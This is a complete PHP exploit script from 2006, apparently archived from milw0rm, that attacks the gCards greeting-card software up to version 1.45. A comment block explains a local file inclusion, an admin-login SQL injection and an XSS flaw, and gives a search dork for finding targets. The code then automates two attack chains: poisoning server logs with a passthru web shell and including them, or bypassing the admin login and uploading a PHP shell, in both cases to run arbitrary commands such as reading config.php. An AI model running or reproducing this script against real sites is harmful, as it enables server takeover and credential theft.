#!/usr/bin/php -q -d short_open_tag=on
<?
echo "gCards <= 1.45 multiple vulnerabilities\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "Sun-Tzu:\"At first, then, exhibit the coyness of a maiden, until the\r\n";
echo "enemy gives you an opening; afterwards emulate the rapidity of a\r\n";
echo "running hare, and it will be too late for the enemy to oppose you.\"\r\n";
echo "dork: \"powered by gcards\"\r\n\r\n";
/*
explaination:
software site: http://www.gregphoto.net/gcards/index.php
i) vulnerable code in inc/setLang.php:
<?
if ($page->languageredirect == $_SERVER['PHP_SELF']) {
if (isset($_GET['setLang'])) $_SESSION['setLang'] = $_GET['setLang'];
}
$langFile = $page->relpath.'inc/lang/'.$lang[$_SESSION['setLang']]['file'];
if (file_exists($langFile)) {
include_once($langFile);
}
else {
echo "Could not find language file $langFile";
}
?>
this code is included by main script, so ... arbitrary local inclusion, poc:
http://[target]/[path]/index.php?setLang=suntzu&lang[suntzu][file]=../../../../../../../../../../../var/log/httpd/access_log
this works regardless of any magic_quotes_gpc settings, apart open_basedir
restrictions obviously
ii) also we have SQL injection in admin authentication procedure, admin/loginfunction.php
at lines 28-38:
...
$username = $_POST['username'];
$userpass = $_POST['userpass'];
if ($username && $userpass)
{
include('../inc/adodb/adodb.inc.php'); # load code common to ADOdb
include('../config.php');
$ADODB_FETCH_MODE = ADODB_FETCH_ASSOC;
$conn = &ADONewConnection('mysql'); # create a connection
$conn->Connect($dbhost,$dbuser,$dbpass,$dbdatabase);
$pass = md5($userpass);
$sqlstmt = "SELECT role FROM ".$tablePrefix."cardusers WHERE username='$username' AND userpass='$pass'";
...
login as admin typing:
username: 'or'suntzu'='suntzu'/*
password: [whatever]
this works with magic_quotes_gpc=Off
once you are admin, you can upload php files, files are renamed but gcards keep
php extension, so you can launch commands from them
iii)xss:
http://[target]/[path]/index.php?setLang=suntzu&lang[suntzu][file]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
this exploit does the dirty work for i) and ii)
*/
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path action cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to gcards\r\n";
echo "action: 1 - launch commands through arbitrary local inclusion\r\n";
echo " (no php.ini restriction)\r\n";
echo " 2 - launch commands through sql injection/admin auth bypass\r\n";
echo " (works with magic_quotes_gpc = Off\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /gcards/ 2 cat ./../config.php\r\n";
echo "php ".$argv[0]." localhost /gcards/ 1 cat config.php\r\n";
echo "php ".$argv[0]." localhost /gcards/ 1 cat config.php -p81\r\n";
echo "php ".$argv[0]." localhost /gcards/ 1 cat config.php -P1.1.1.1:80\r\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "action selected -> ".$action."\r\n";
if ($action=="1")
{
echo "[1] Injecting some code in log files...\r\n";
$CODE ='<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);}';
$CODE.='passthru($_GET[cmd]);echo 666;die;?>';
$packet.="GET ".$p.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
# fill with possible locations
$paths= array (
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);
for ($i=0; $i<=count($paths)-1; $i++)
{
$j=$i+2;
echo "[".$j."] Trying with ".$paths[$i]."\r\n";
$xpl=urlencode($paths[$i]);
$packet ="GET ".$p."index.php?cmd=".$cmd."&setLang=suntzu&lang[suntzu][file]=".$xpl." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#debug, shows packets in a nice format
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"666")){
echo "Exploit succeeded...\r\n";
$temp=explode("666",$html);
echo $temp[1];
die;
}
}
}
else
if ($action=="2")
{ echo "[1] Injecting some SQL statements in admin login username field...\r\n";
$sql=urlencode("'or'suntzu'='suntzu'/*");
$data="username=".$sql;
$data.="&userpass=suntzu";
$packet ="POST ".$p."admin/admin.php HTTP/1.1\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"gCards Administration Console"))
{echo "Sql injection succeeded...\r\n";}
else
{die("Not succeeded, maybe we have magic_quotes_gpc on here...\r\n");}
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$cookie=$temp2[0];
echo "Cookie -> ".$cookie."\r\n";
echo "[2] Let's retrieve a category name to upload a file in ...\r\n";
$packet ="GET ".$p."admin/cards.php HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);
$temp=explode("<option value=\"",$html);
$temp2=explode("\"",$temp[1]);
$catid=$temp2[0];
echo "catid -> ".$catid."\r\n";
if ($catid=="") {$catid=1;}
echo "[3] Uploading a php file...\r\n";
$data='-----------------------------7d613b1d0448
Content-Disposition: form-data; name="MAX_FILE_SIZE"
250000
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="cardname"
suntzu
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="catid"
'.$catid.'
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="userfile"; filename="suntzu.php"
Content-Type: application/octet-stream
<?php echo 666;ini_set("max_execution_time",0);passthru($_GET[cmd]);echo 666;?>
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="userthumb"; filename="suntzu.php"
Content-Type: application/octet-stream
<?php echo 666;ini_set("max_execution_time",0);passthru($_GET[cmd]);echo 666;?>
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="submit"
Upload
-----------------------------7d613b1d0448
';
$packet ="POST ".$p."admin/upload.php HTTP/1.1\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d613b1d0448\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"successfully"))
{echo "Succeeded...\r\n";}
else
{die("For some reason...Not succeeded\r\n");}
echo "[4] Let's retrieve the new filename ...\r\n";
$packet ="GET ".$p."admin/cards.php HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);
$temp=explode("suntzu.php",$html);
$temp2=explode("<td>",$temp[count($temp)-2]);
$temp=$temp2[count($temp2)-1];
$newfile=$temp."suntzu.php";
if ($newfile=="") {die("For some reason, exploit failed...");}
echo "File renamed to: ".$newfile."\r\n";
echo "[5] Launch commands ...\r\n";
$packet ="GET ".$p."images/".$newfile."?cmd=".$cmd." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"666"))
{
echo "Exploit succeeded...\r\n";
$temp=explode("666",$html);
echo $temp[1];
die;
}
}
else
{die ("Wrong action...\r\n");}
//if you are here...
echo "Exploit failed...\r\n";
?>
# milw0rm.com [2006-03-20]
